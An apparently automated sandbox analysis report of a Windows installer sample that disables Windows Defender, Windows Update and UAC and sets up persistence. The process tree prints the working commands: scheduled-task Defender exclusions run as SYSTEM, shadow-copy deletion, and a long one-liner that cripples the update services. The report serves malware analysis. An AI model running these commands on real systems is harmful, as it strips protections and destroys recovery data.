fdd108a31d6fa57cdf15288014088397032be1ea5bc9e3fdf0b89655c5cc00c5

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 23:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.02.exe
Size 38.9MB
Sample261024-3dmc8scz4x
SHA256 fdd108a31d6fa57cdf15288014088397032be1ea5bc9e3fdf0b89655c5cc00c5
MD5 fc6f4305b10a24c43d07e06facce75ba
SHA1 a7d950ff851ed1d21abdd1fd6a6580757a600f8d
SHA512 edc2dc8343534970e002005dee5d8b5a1c5107b2d3539ce33df5797e20883b702e3aaa6e0677290c5be400e17ad8ddf07e07cd12be3684b4c517baa4e19ae99d
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXk:q6chqTShW/hNbSiQfMJPLmrUlsk
TLSH
T18D97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	7r6p0Q.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\6TocvG = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	Hj6co7.exe

Executes dropped EXE 3 IoCs

pid	Process
4884	Hj6co7.exe
208	Hj6co7.exe
2704	7r6p0Q.exe

Loads dropped DLL 3 IoCs

pid	Process
4884	Hj6co7.exe
208	Hj6co7.exe
2704	7r6p0Q.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\6TocvG\\Hj6co7.exe\""	Hj6co7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\7r6p0Q\\7r6p0Q.exe\""	7r6p0Q.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4008	cmd.exe
1556	cmd.exe
404	cmd.exe
2684	cmd.exe
3396	cmd.exe
2228	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Hj6co7.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\7r6p0Q\image.png	Hj6co7.exe
File created	C:\Program Files (x86)\7r6p0Q\thumbs.db	Hj6co7.exe
File opened for modification	C:\Program Files (x86)\7r6p0Q\image.png	Hj6co7.exe
File opened for modification	C:\Program Files (x86)\7r6p0Q	Hj6co7.exe
File created	C:\Program Files (x86)\7r6p0Q\XPSPLOG.dll	Hj6co7.exe
File opened for modification	C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe	Hj6co7.exe
File opened for modification	C:\Program Files (x86)\7r6p0Q\XPSPLOG.dll	Hj6co7.exe
File opened for modification	C:\Program Files (x86)\7r6p0Q\thumbs.db	Hj6co7.exe
File created	C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe	Hj6co7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4496	cmd.exe
4276	cmd.exe
4124	cmd.exe
3760	cmd.exe
3468	cmd.exe
4152	cmd.exe
808	cmd.exe
4760	cmd.exe
4772	cmd.exe
4048	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Hj6co7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Hj6co7.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7r6p0Q.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4496	schtasks.exe
4308	schtasks.exe
3684	schtasks.exe
4856	schtasks.exe
2484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
3520	install.2.0.02.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe
4884	Hj6co7.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 4008	4884	Hj6co7.exe	98
PID 4008 wrote to memory of 4496	4008	cmd.exe	100
PID 4008 wrote to memory of 3784	4008	cmd.exe	101
PID 4008 wrote to memory of 3032	4008	cmd.exe	103
PID 4884 wrote to memory of 1556	4884	Hj6co7.exe	106
PID 4884 wrote to memory of 404	4884	Hj6co7.exe	110
PID 1556 wrote to memory of 4308	1556	cmd.exe	111
PID 1556 wrote to memory of 4776	1556	cmd.exe	114
PID 404 wrote to memory of 3684	404	cmd.exe	115
PID 1556 wrote to memory of 2172	1556	cmd.exe	117
PID 404 wrote to memory of 2004	404	cmd.exe	118
PID 4884 wrote to memory of 2684	4884	Hj6co7.exe	120
PID 404 wrote to memory of 4868	404	cmd.exe	122
PID 2684 wrote to memory of 4856	2684	cmd.exe	123
PID 2684 wrote to memory of 3864	2684	cmd.exe	124
PID 2684 wrote to memory of 1920	2684	cmd.exe	127
PID 808 wrote to memory of 3904	808	cmd.exe	128
PID 4884 wrote to memory of 3396	4884	Hj6co7.exe	129
PID 3396 wrote to memory of 2484	3396	cmd.exe	131
PID 3396 wrote to memory of 1664	3396	cmd.exe	132
PID 3396 wrote to memory of 3316	3396	cmd.exe	134
PID 4760 wrote to memory of 1652	4760	cmd.exe	136
PID 4772 wrote to memory of 4336	4772	cmd.exe	137
PID 4048 wrote to memory of 4204	4048	cmd.exe	138
PID 4884 wrote to memory of 2704	4884	Hj6co7.exe	139

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	7r6p0Q.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3520

C:\Users\Public\6TocvG\Hj6co7.exe
C:\Users\Public\6TocvG\Hj6co7.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6TocvG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\6TocvG\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3316
- C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe
  "C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7r6p0Q" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4496
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3468
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4152
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\7r6p0Q\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2228
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4124

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6TocvG" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6TocvG" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3904

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1032

C:\Users\Public\6TocvG\Hj6co7.exe
"C:\Users\Public\6TocvG\Hj6co7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:208

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1652

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4336

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4204

C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe
"C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe"
1⤵
PID:4468

C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe
"C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe"
1⤵
PID:4300

C:\Program Files (x86)\ze45gv\Fzt9OqYRT.exe
"C:\Program Files (x86)\ze45gv\Fzt9OqYRT.exe"
1⤵
PID:3412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7r6p0Q.exe

Path C:\Program Files (x86)\7r6p0Q\7r6p0Q.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7r6p0Q\XPSPLOG.dll
Size 4.6MB
SHA256 5117b0556cc194eb092df4076d5f98bcc3e3cd3e8f4f30ac7e9e38201731cf7c
MD5 6ebb722ecb9fe32c732a16b82a251e0f
SHA1 48838e0be06b0d39f9c0b25c028f9811a1c4c6d0
SHA512 7bcba463fea163b07abfbec1b876debdf94eb708cbe34bfb5c9e0ad756f44f5b8d6fb238087f2fc53d359c2e818d11cb41054716c1548843b4578e85e110873d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyc:BMWKfU+BcUTHCCCfqCiUffnc
TLSH
T18B263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7r6p0Q\XPSPLOG.dll
Size 2.6MB
SHA256 b9801f3eee2294260b5978dc02ab848187aabbdde531df8064b11b2f71a953a8
MD5 1b9d120e9e24ee98382ee636bb1af9cd
SHA1 0e0d7af7e22e4bce6d2ca36b492cca5dbef495bd
SHA512 6d11e67fdc8cf3cf85645956e19cadf975fad7f41b1be815cde682898d6265f9751e35ab0b2ec78d23557719d171274eb38eed8d9f24c5b14afe038e81ab581b
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOb:yCMWmcKfST5t+BceThTHfaZ
TLSH
T1C7C5339FFA5B561EEAA133792FADEC9DB2BC49C4822DE544D0D2704F0054B9E503E68C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\7r6p0Q\XPSPLOG.dll
Size 2.3MB
SHA256 95b466ec6d902d93e0abce1fa1511c6382a854bc28ed8d29ec5085060dd58d27
MD5 9e874b8dff9acfa45eb8a4ad55f9fb13
SHA1 ae8210e1f3d3cf05d4021ec70fb91e1b5418d7ca
SHA512 17c7462dcb0c581b5a2b449d3e472a2ab86ad3e11823c6c4f19e856ab87bfdbee9466eaf1c90244ba46c26624b6284a0cf73edcb57627e8146e7780f46904d7f
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nED:yCMWmcKfST5t+BceThTz
TLSH
T1EEB5339BF59B461EEA6133792F8DEC9D72FD49C8822DE548D4E2704F4010B6E903E68D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\7r6p0Q\image.png
Size 4.8MB
SHA256 416cfbd84b9d83b1b3c8a4a418586043f6bc5e821f7ee13b520f6d8e51593ebb
MD5 e4634fd76ad8d4f41ce556352eb69855
SHA1 91d959b71da98b8462da1622d2c2c80a6d69c199
SHA512 db3d0107fec0df0602f497fa7bb383ad1c55ad5a52e0a771ff2b21b78a192ff94acdce97a35cc24005d01db002c139357b46248161c6d86d6cb5f60a46e29099
SSDEEP 98304:m/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:mMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1CA36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\7r6p0Q\thumbs.db
Size 358KB
SHA256 cf7d6a0f116353d547ae395ce81e724723b477a1e267ab082cdf99b511f2db6b
MD5 9c2a768943c0d97ea0d688f3b57d40a1
SHA1 99e43225d1566204e2be4bd3b181e9e333240382
SHA512 7b4eb9edbb8de7f47634d3258629a618319cc526f2de5f3044dad705969936e308ca960f0c493499979f78ae24d910033257e7fde08c319a3e5ee6651d2d8e3c
SSDEEP 6144:PiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:68u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1D774F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

